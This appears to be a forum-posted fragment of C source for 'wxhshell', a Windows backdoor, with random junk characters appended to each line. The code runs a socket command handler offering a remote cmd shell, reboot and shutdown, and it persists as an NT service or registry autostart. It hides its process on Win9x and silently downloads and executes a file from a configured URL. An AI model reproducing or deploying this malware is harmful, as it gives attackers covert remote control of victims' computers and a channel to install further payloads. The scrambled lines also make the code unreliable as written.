  else { fD ?w!7f-1  
Jw)-6WJ!uO  
    switch(cmd[0]) { }@Ou]o  
  >'|Wrz67Z  
  // 帮助 Nkg^;-CV0  
  case '?': { z2cd1HxN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %8~g#Z  
    break; Y5$VWUrB  
  }  H= (Zx  
  // 安装 |FH|l#bu>  
  case 'i': { E.+BqWZ!  
    if(Install()) ,G!mO,DX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u<K{=94!e  
    else h\PybSW4s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xhm)K3RA*T  
    break; RoeLf Ow  
    } e{7"7wn=  
  // 卸载 qASV\ <n  
  case 'r': { GMQKR,6VM  
    if(Uninstall()) B{\qYL/~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gWpG-RL0  
    else ZIikDi h1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A,#a?O6m  
    break; +o^sm'$  
    } UJhUb)}^  
  // 显示 wxhshell 所在路径 'NDDj0Y  
  case 'p': { 31=v US  
    char svExeFile[MAX_PATH]; _&|<(m&."  
    strcpy(svExeFile,"\n\r"); u$V8fus0  
      strcat(svExeFile,ExeFile); m vLqccL  
        send(wsh,svExeFile,strlen(svExeFile),0); N4[^!}4  
    break; Q _ M:v  
    } fs6 % M]u  
  // 重启 kl i)6R<  
  case 'b': { <^Sp4J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wzz> N@|  
    if(Boot(REBOOT)) KB6`OT^b{r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ooIA#u  
    else { !;h`J:dN  
    closesocket(wsh); !<W^Fh  
    ExitThread(0); diDB>W  
    } J1gLT $  
    break; ,%EGM+  
    } %Tm8sQ)1  
  // 关机 ]iE) 8X  
  case 'd': { ISALR{Aq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z@ZSn0  
    if(Boot(SHUTDOWN)) 0;avWa)Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pCt0[R;?  
    else { Z2^B.r#  
    closesocket(wsh); `=JGlN7  
    ExitThread(0); 6UnWtLE  
    } m(eR Wx&pZ  
    break; Bl!R bh\  
    } j=5hW.fI  
  // 获取shell >{@:p`*  
  case 's': { {u{8QKeC  
    CmdShell(wsh); _rjB.  
    closesocket(wsh); [|{m/`8C  
    ExitThread(0); &&K"3"um  
    break; 5BsfbLKC  
  } T f;:C]  
  // 退出 _yP02a^2  
  case 'x': { sTChbks  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +#MQ8d  
    CloseIt(wsh); yi@mf$A|  
    break; yOr5kWqX  
    } &=`6- J  
  // 离开 i $W E1-  
  case 'q': { I^itlQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <9yB& ^  
    closesocket(wsh); #) bqn|0l  
    WSACleanup(); fOkB|E]  
    exit(1); +3%i7  
    break; UgAG2  
        } DX#_0-o  
  } |dI,4Z\Qb  
  } w;(B4^?  
JTI 'W  
  // 提示信息 Dh~Z 8!*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k}$k6Sr"  
} 5_~QS  
  } nk^-+olm  
bdz&"\$X  
  return; ~u+|NtF  
} #uHl  
EaXD Y<  
// shell模块句柄 ug.'OR  
int CmdShell(SOCKET sock) os~}5QJ  
{ KM jnY2  
STARTUPINFO si; kFo&!  
ZeroMemory(&si,sizeof(si)); 7<p? E7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fl;!'1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FST}:*dOe5  
PROCESS_INFORMATION ProcessInfo; nH -1,#`g  
char cmdline[]="cmd"; oq3{q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ad]oM]  
  return 0; t ?404  
} )o>1=Y`[z  
?)V}_%fVv  
// 自身启动模式 yNk E>  
int StartFromService(void) -y5Z c?e  
{ 2=p"%YSn  
typedef struct B@@j-  
{ Th(F^W9  
  DWORD ExitStatus; n^7m^1to  
  DWORD PebBaseAddress; W99Hq1W;r  
  DWORD AffinityMask; <;.->73E  
  DWORD BasePriority; 08JVX'X-mr  
  ULONG UniqueProcessId; .vJ t&@NO  
  ULONG InheritedFromUniqueProcessId; _z(ydL*  
}   PROCESS_BASIC_INFORMATION; UZ}>@0  
qc6eqE  
PROCNTQSIP NtQueryInformationProcess; EU@XLm6  
)}i;OLw-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qtLXdSc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jYi{[* *  
iJD_ qhd7  
  HANDLE             hProcess;  }j /r  
  PROCESS_BASIC_INFORMATION pbi; Q($aN-   
2lm{:tS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *N|s+  
  if(NULL == hInst ) return 0; Gaxa~?ek  
a{%]X(';  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y^P'slY{%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b/g"ws_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]p sx\ZMa  
e:H9!  
  if (!NtQueryInformationProcess) return 0; SuU %x2  
b$Ch2Qz0q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +HxL>\  
  if(!hProcess) return 0; OlI{VszR  
eg vgi?y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _$Hx:^p:  
%B{NH~  
  CloseHandle(hProcess); N>J"^GX  
<DjFMTCN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  ZD'fEqM  
if(hProcess==NULL) return 0; 6}E C)j;Fw  
Q]]5\C.  
HMODULE hMod; Q4JvFy0'  
char procName[255]; :n?K[f?LfY  
unsigned long cbNeeded; z}[qk:  
 U|HF;L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /2\%X`]<  
g~AO KHUP  
  CloseHandle(hProcess); 6Wabw:  
4z##4^9g  
if(strstr(procName,"services")) return 1; // 以服务启动 w 9mi2=  
@^';[P!  
  return 0; // 注册表启动 5V{zdS=  
} /Xd s+V^Z  
`/z6 Q"  
// 主模块 <_tkd3t#W  
int StartWxhshell(LPSTR lpCmdLine) 7~V,=WEe  
{ dq{wFI)  
  SOCKET wsl; AqzPwO^  
BOOL val=TRUE; ~<, QxFG5  
  int port=0; !7O!)WJ  
  struct sockaddr_in door; """gV)Y  
utvZ<zz`  
  if(wscfg.ws_autoins) Install(); 2"~QI xY=  
oT\u^WU  
port=atoi(lpCmdLine); G#pRBA^  
u{o!#_o64  
if(port<=0) port=wscfg.ws_port; S^Z[w|1  
0` {6~p  
  WSADATA data; F9Ag687w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9w=GB?/  
-&ic%0|f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oVLgHB\zL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); URodvyD  
  door.sin_family = AF_INET; t TAql n|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ! Bv"S0  
  door.sin_port = htons(port); WD^!G;}  
1.Ximom  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8SGFzb! h  
closesocket(wsl); WYb\vm =r  
return 1; RG)!v6  
} @KhDQ0v]5  
aJC,  
  if(listen(wsl,2) == INVALID_SOCKET) { +hIStA  
closesocket(wsl); \p-3P)U  
return 1; |@x^5Ab$T  
} 0 7CufoI  
  Wxhshell(wsl); $`Z-,AJc  
  WSACleanup(); hwaU;>F  
$EB&]t+  
return 0; Dg$Z5`%k8  
. _5g<aw;  
} V^P]QQ\ )  
DB'd9<  
// 以NT服务方式启动 GIt~"X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v: Av 2y  
{ X4:\Shb97  
DWORD   status = 0; 1jJ>(S  
  DWORD   specificError = 0xfffffff; f;C*J1y  
p`)GO.pz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n4cM /unU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vap,)kILF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s0 ZF+6f  
  serviceStatus.dwWin32ExitCode     = 0; J2$L[d^  
  serviceStatus.dwServiceSpecificExitCode = 0; +P?!yH,n  
  serviceStatus.dwCheckPoint       = 0; >[=fbL@N<@  
  serviceStatus.dwWaitHint       = 0; G/nSF:rp  
2FxrMCC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gk9Y{  
  if (hServiceStatusHandle==0) return; tSVN}~1\  
}dl[~iKW  
status = GetLastError(); |D %m>M6  
  if (status!=NO_ERROR) +0016UgS#  
{ ze<Lc/;X~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,Jy@n]x  
    serviceStatus.dwCheckPoint       = 0; 4LRrrW  
    serviceStatus.dwWaitHint       = 0; vps</f!  
    serviceStatus.dwWin32ExitCode     = status; [i 18$q5D  
    serviceStatus.dwServiceSpecificExitCode = specificError; HuPw?8w=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .5ap9li]  
    return; h01 HX  
  } Fb&Xy{kt1  
e`pYO]Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ak`7f$z  
  serviceStatus.dwCheckPoint       = 0; :Yi1#  
  serviceStatus.dwWaitHint       = 0; @5!Mr5;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y9cDPwi:b  
} }fps~R  
g\CRx^s  
// 处理NT服务事件,比如:启动、停止 ~C1lbn b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i`3h\ku  
{ [Bn C_^[W  
switch(fdwControl) UQ;ymTqdc  
{ ,m| :U  
case SERVICE_CONTROL_STOP: V _(L/6  
  serviceStatus.dwWin32ExitCode = 0; 9qUc{ydt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,f@$a3}'Lx  
  serviceStatus.dwCheckPoint   = 0; "|?zQ?E  
  serviceStatus.dwWaitHint     = 0; @6eM{3E.  
  { nRYHp7`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v71j1Q}6  
  } R?)M#^"W  
  return; Mu,}?%  
case SERVICE_CONTROL_PAUSE: sN`2"t/s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I}djDtJ  
  break; SV2DvrIR  
case SERVICE_CONTROL_CONTINUE: ,(H`E?m1w4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J*Dt\[X  
  break; c418TjO;  
case SERVICE_CONTROL_INTERROGATE: J1@X6U!{  
  break; .TcsXYL.`,  
};  pFfd6P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j_::#?o!/  
} _4eSDO[h  
; B4x>  
// 标准应用程序主函数 ldd|"[Ds  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]ZV.@% +  
{ : GVyY]qBU  
0E*q-$P  
// 获取操作系统版本 a$0,T_wD  
OsIsNt=GetOsVer(); Gwyjie9t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SG:Fn8  
KIyhvY~  
  // 从命令行安装 Gk<M@d^hQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); h^yLmRL  
=Q\z*.5j.  
  // 下载执行文件 Rra3)i`*  
if(wscfg.ws_downexe) { %49P<vo`?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %w+"MkH _  
  WinExec(wscfg.ws_filenam,SW_HIDE); %gK@ R3p  
} !GB\-(  
> -P UY  
if(!OsIsNt) { ,t"?~Hl".  
// 如果时win9x,隐藏进程并且设置为注册表启动 =<,>dBs}\  
HideProc(); Un [olp  
StartWxhshell(lpCmdLine); Mnj\t3:  
} o!nw/7|  
else g+g0iS  
  if(StartFromService()) 3X &'hz@  
  // 以服务方式启动 =t[hsl  
  StartServiceCtrlDispatcher(DispatchTable); 9%+Nzo(Fd  
else N*J!<vY"  
  // 普通方式启动 5Q)hl.<{o7  
  StartWxhshell(lpCmdLine); 9%{V?r]k  
.<#oLM^  
return 0; C)x>/Qr~  
}
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只看该作者 1 发表于: 2006-10-10
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